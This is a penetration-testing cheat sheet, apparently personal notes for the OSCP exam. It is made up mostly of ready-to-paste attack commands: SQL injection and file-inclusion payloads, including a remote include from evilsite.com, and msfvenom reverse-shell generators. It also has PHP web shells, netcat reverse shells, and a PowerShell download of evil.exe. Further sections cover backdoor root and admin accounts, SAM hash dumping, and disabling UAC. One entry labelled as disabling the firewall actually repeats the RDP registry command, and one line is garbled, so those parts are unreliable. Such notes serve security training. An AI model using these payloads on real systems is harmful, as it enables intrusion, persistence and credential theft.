OSCP notes

Timo Sablowski

Abstract

Here you can find my notes, which I made during the preparation for the OSCP exam. This is a really incomplete list of commands and tricks. It just represents the stuff, which I needed to write down in order to copy and paste them.

Information Gathering

Reconnaissance

The Harvester

Get any information, which is publicly available for a specific company

- From a specific source (check the -h option)

```
theharvester -d company -b source
```

- From all sources

```
theharvester -d company -b all
```

Shodan

A nice network scan of 0.0.0.0
`https://www.shodan.io`

DNS

- DNS zone transfer

```
host -t axfr domain.name dns-server
```

```
host -l domain.name dns-server
```

- DNS enumeration

```
dnsenum -o outputfile -f /usr/share/dnsrecon/namelist.txt -o outputfile domain
```

Google Dorks

The "-" character inverts the command

- Limit search to a specific domain
  `site:mydomain.com`
  `site:www.mydomain.com`
  `-site:www.mydomain.com` (all, but www.)
- Search for certain files
  `filetype:xls`
- Search for certain URLs
  `inurl:admin.php`
- Search for title content
  `intitle:Administration`

Service Enumeration

SMB service enumeration

- nmap

```
nmap -p 139,445 IP-RANGE
```

- nbtscan

```
nbtscan -r IP-RANGE
```

- enum4linux

```
enum4linux -a HOST
```

SNMP

- Bruteforce community strings

```
echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 200 254); do echo 192.168.11.${ip}; done > ips

onesixtyone -c community -i ips
```

- Enumerate Windows users

```
snmpwalk -c public -v1 <IP> 1.3.6.1.4.1.77.1.2.25
```

- Enumerate current Windows processes

```
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2
```

- Enumerate Windows' open TCP ports

```
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.6.13.1.3
```

- Enumerate installed software

```
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.6.3.1.2
```

Penetration

SQLi

- Check if you can find a row, where you can place your output
  `http://ip/inj.php?id=1 union all select 1,2,3,4,5,6,7,8`
- Get the version of the database
  `http://ip/inj.php?id=1 union all select 1,2,3,@@version,5`
- Get the current user
  `http://ip/inj.php?id=1 union all select 1,2,3,user(),5`
- See all tables
  `http://ip/inj.php?id=1 union all select 1,2,3,table_name,5 FROM information_schema.tables`
- Get column names for a specified table
  `http://ip/inj.php?id=1 union all select 1,2,3,column_name,5 FROM information_schema.columns where table_name='users'`
- Concat user names and passwords (0x3a represents ":")
  `http://ip/inj.php?id=1 union all select 1,2,3,concat(name, 0x3A , password),5 from users`

- Write into a file
  `http://ip/inj.php?id=1 union all select 1,2,3,"content",5 into OUTFILE 'outfile'`

PHP

Got most of this from https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

- LFI
  If there is an LFI, it might be possible to run PHP commands as within the example from exploit-db (https://www.exploit-db.com/exploits/9623/):
  `www.site/path/advanced_comment_system/admin.php?ACS_path=[shell.txt?]` This results in this exploit:

```
curl -s --data "<?system('ls -la');?>" "http://www.site/path/advanced_comment_system/admin.php?ACS_path=php://input%00"
```

- Including files
  `?file=.htaccess`
- Path Traversal
  `?file=../../../../../../../../../var/lib/locate.db`
- Including injected PHP code
  `?file=../../../../../../../../../var/log/apache/error.log`
  - Tricks
    - list of possible Apache dirs: http://wiki.apache.org/httpd/DistrosDefaultLayout
    - include access log from file descriptor /proc/self/fd/XX: http://pastebin.com/raw.php?i=cRYvK4jb
    - include email log files: http://devels-playground.blogspot.de/2007/08/local-file-inclusion-tricks.html
    - include ssh auth.log
    - abuse avatar/image/attachment file uploads
    - include session files: https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
    - include PHP's temporarily uploaded files http://gynvael.coldwind.pl/?id=376
    - Null Byte Injection:
      `?file=../../../../../../../../../etc/passwd%00`
    - Directory Listing with Null Byte Injection:
      `?file=../../../../../../../../../var/www/accounts/%00`
    - Path Truncation:
      `?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\ ...`
    - Dot Truncation:
      `?file=../../../../../../../../../etc/passwd..........`
    - Reverse Path Truncation:
      `?file=../../../../ […] ../../../../../etc/passwd`
- Logfile injection
  - Connect to the server to inject code into the error.log:

```
nc <IP> <port>
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: <IP>
Connection: close
```

  - Afterwards include the it via LFI:
    `?lfi_file=/var/log/apache2/access.log&cmd=<command>`
- Including Remote Code:
  `?file=[http|https|ftp]://evilsite.com/shell.txt`
- Using PHP stream php://input:
  `?file=php://input`
  Specify your payload in the POST parameters
- Using PHP stream php://filter:
  `?file=php://filter/convert.base64-encode/resource=index.php`
- Using data URIs:
  `?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=`
- Using XSS:
  `?file=http://127.0.0.1/path/xss.php?xss=phpcode`

Generating Shells

Depending on the specific case it could be useful to also add "PrependMigrate=true".
As most of those generated files will be detected by an antivirus software, it might be useful to also experiment with the Veil Framework.

- Linux ELF binary:

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
```

- Windows EXE binary:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
```

- Windows Service:

```
msfvenom -p windows/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> EXITFUNC=thread -f exe-service > shell-service.exe
```

- Mac:

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
```

- PHP:

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > /tmp/shell.php && sed -i 's/#<?php/<?php/' /tmp/shell.php
```

If you use php/reverse_php open the output file with an editor and add `<?php` and `?>` within the script.

- ASP:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
```

- JSP:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
```

- WAR:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
```

- Inject payload into an existing exe file:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -x <template EXE> -f exe > <output.exe>
```

Custom Shells

- PHP custom command injection:

```
<?php $cmd=$_GET['cmd']; system("$cmd"); ?>
```

or

```
<?php echo shell_exec($_GET['cmd']);?>
```

If you use REQUEST, you can use the GET and POST parameter:

```
<?php $cmd=$_REQUEST['cmd']; system("$cmd"); ?>
```

Write a script to trigger the commands via CLI:

```
#!/bin/bash
URL="http://x.x.x.x:yyyy/cmd_shell.php"
CMD=`echo ${*} | sed s'/ /%20/g'`
CMD=`echo ${CMD} | sed s'/&/%26/g'`
CMD=`echo ${CMD} | sed s'/>/%3e/g'`
echo ${URL}?cmd=${CMD}
curl -s ${URL}?cmd=${CMD}
echo ""
```

and execute it:

```
./cmd_inj ls -la
```

Compiling

- To compile 32 bit applications on 64 bit Linux:

```
apt-get install libc6-dev-i386
gcc -Wall -m32 -o <output> <code>
```

- Complining 64 bit applications on Linux:

```
gcc -Wall -m64 -o <output> <code>
```

To compile static applications use the “-static” parameter additionally!

- Cross-Compiling Windows applications on Linux:

```
apt-get install mingw32
i586-mingw32msvc-gcc <source>.c -o <outfile> -lws2_32
```

- Generate EXE from python file in Windows:

```
python pyinstaller.py --onefile <pythonscript>
```

Privilege Escalation

- Check File permissions via icacls and check if they might be writeable for everyone:

```
icacls <filename>
```

- C-Code to add a new user to the administrator group:

```
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// add new user to administrators group
// compile with mingw32:
// i586-mingw32msvc-gcc -o useradd_win useradd_win.c
int main(){
  int i;
  i=system ("net user <username> <password> /add");
  i=system ("net localgroup administrators <username> /add");
  return 0;
}
```

- Windows Exploit Suggester:
  - Get sysinfo from Windows:

```
systeminfo > sys.info
```

  - Upload the sys.info file to your Linux machine
  - Update the Exploit Suggester:

```
python windows-exploit-suggester.py -u
```

  - Execute it:

```
python windows-exploit-suggester -d <databasefile> -i <sysinfofile>
```

Maintaining Access

Network Shells

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

- netcat
  - with -e option
    - Listening

```
nc -lp <port> -e /bin/bash
```

    - Reverse

```
nc <host> <port> -e /bin/bash
```

  - without -e option (default)
    - Listening

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lp <port> > /tmp/f
```

    - Reverse

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <host> <port> > /tmp/f
```

- ncat
  - Listening

```
ncat --exec cmd.exe --allow <IP> -vnl <port> --ssl
```

File Transfer

TFTP

- Manually

```
mkdir /tftp
atftpd --daemon --port 69 /tftp
```

- As a service

in /etc/default/atftpd:

```
USE_INETD=false
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --port 69 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /srv/tftp"
```

Afterwards:

```
service atftp start
```

- Download files

```
tftp -i <IP> get <filename>
```

Windows wget alternative

VBS

- Create the script
  Make sure to pipe the file through unix2dos first before copying to a Windows machine!

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo strData = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
cho Next >> wget.vbs
echo ts.Close >> wget.vbs
```

- Running
  Run it via

```
cscript wget.vbs http://<IP>/<file> <outputfile>
```

Powershell

- Create the script
  Make sure to edit the script according to your needs and pipe the file through unix2dos first before copying to a Windows machine!

```
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://192.168.10.5/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
```

- Running

```
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

Pivoting

Metasploit

- Portforwarding:

```
portfwd -L 0.0.0.0 -l <localport> -p <remoteport> -r <remotehost>
```

Afterwards do not scan localhost:localport, but use localIP:localport instead. Otherwise the meterpreter session will crash

- Route through session:
  - `run autoroute`

- Add route:

```
run autoroute -s <address> -n <netmask>
```

- Print autoroute table:

```
run autoroute -p
```

- Delete route:

```
run autoroute -d -s <address>
```

- Routing:

```
route [add|delete] <ip> <netmask> <session>
```

- Pinging:

```
use post/multi/gather/ping_sweep
```

- Port scanning:

```
use auxiliary/scanner/portscan/tcp
```

SSH

- SSH Portforwarding:

```
ssh -L <listenport>:<targetip>:<targetport> <user>@<remotehost>
```

If you jump over multiple hosts, always use the listening IP aswell:

```
ssh -L <listenip>:<listenport>:<targetip>:<targetport> <user>@<remotehost>
```

- Reverse SSH Portforwarding:
Note that if you use OpenSSH sshd server, the server's GatewayPorts option needs to be enabled (set to yes or clientspecified - GatewayPorts yes) for this to work (check file /etc/ssh/sshd_config on the server). Otherwise (default value for this option is no), the server will always force port bound on the loopback interface only.

  - connect from local(attacker) to target:

```
ssh -R <targetip>:<targetport>:<localhost>:<localport>
```

  - on target:

```
telnet <targetip> <targetport>
```

  -> forwards to attacker machine on port

- SSH Portforwading on Windows (https://blog.netspi.com/how-to-access-rdp-over-a-reverse-ssh-tunnel/):

  - bind local port X on remote server Y port Z (reverse tunnel):

```
plink.exe -R Z:127.0.0.1:X user@Y
```

- UDP over SSH (http://superuser.com/questions/53103/udp-traffic-through-ssh-tunnel):

  - Establish SSH tunnel:

```
ssh -N -L <tunnelport>:<serverip>:<tunnelport> <user>@<remotehost>
```

  - On the server:

```
mkfifo /tmp/fifo
nc -l -p <tunnelport> < /tmp/fifo | nc -u <targetip> <targetport> > /tmp/fifo
```

  - On the client:

```
mkfifo /tmp/fifo
nc -l -u -p <listenport/targetport> < /tmp/fifo | nc localhost <tunnelport> > /tmp/fifo
```

  - Connect client software to localhost:listenport

- Control SSH socket:

  - Edit client configuration:

```
echo "ControlPath /tmp/%r@%h:%p" >> /etc/ssh/ssh_config
echo "ControlMaster auto" >> /etc/ssh/ssh_config
echo "ControlPersist yes" >> /etc/ssh/ssh_config
```

- Now connect to an existing socket:

```
ssh -S /tmp/user@host:port %h
```

Misc

- Traffic encapsulation
  Through http: `http_tunnel`
  Through SSL: `stunnel`
- Get credentials in captured traffic:

```
dsniff -p <capturefile>
```

- Pass the hash
  - Get hashes first:

```
run post/windows/gather/hashdump
```

  - And use them for psexec:

```
use exploit/windows/smb/psexec
```

- Add users
  - Windows:

```
net user <username> <password> /ADD
net localgroup administrators <username> /ADD
net localgroup "Remote Desktop Users" username /ADD
```

  - Linux:

```
adduser --no-create-home --shell /bin/bash toor
sed -i 's/toor:x:1001:1001/toor:x:0:0/' /etc/passwd
```

    or

```
echo "toor:x:0:0::/tmp:/bin/sh" >> /etc/passwd
echo "toor:23MdZN/rsVdLg:16673:0:99999:7:::" >> /etc/shadow
```

  - Create Hashes for /etc/shadow:

```
openssl passwd -salt 234 <password>
```

Useful Commands And Notes

Windows

Tasks / Services

- Start or stop a service

```
net start|stop servicename
```

- View the currently running tasklist

```
tasklist
```

- Kill a task by name

```
taskkill /F /IM task.exe
```

- Kill a task by PID

```
Taskkill /PID PID /F
```

Base64 encoding / decoding

- base64 encode

```
certutil -encode inputfile outputfile
```

- base64 decode
  `cmd certutil -decode inputfile outputfile`

Dump passwords

- via reg.exe

```
reg.exe save hklm\sam c:\sam_backup
reg.exe save hklm\security c:\security_backup
reg.exe save hklm\system c:\system
```

Security settings

- Allow RDP

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

- Disable UAC

```
reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system
reg setval -v EnableLUA -d 0 -t REG_DWORD -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system
```

- Refresh policies

```
gpupdate /force
```

- Disable the Firewall

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

Variables

- Show all variables

```
set
```

- Windows TEMP folder
  `%TEMP%`

- Current domain and user (if whoami is not available)

```
echo %USERDOMAIN%\%USERNAME%
```

Location of files

- Repair files like SAM
  `c:\windows\repair\`
- Windows TEMP folder
  `%TEMP%`

- Search for a specific file (wildcards are supported)

```
dir /S /P "filename"
```

MySQL

General

- Show current permissions

```
SHOW GRANTS FOR 'user'@'%';
```

File access

- Set privilege for file access

```
GRANT FILE ON . to 'user'@'%';
FLUSH PRIVILEGES;
```

- Write files

```
select 'content' INTO outfile 'path';
```

- Read files

```
select load_file('path_to_file');
```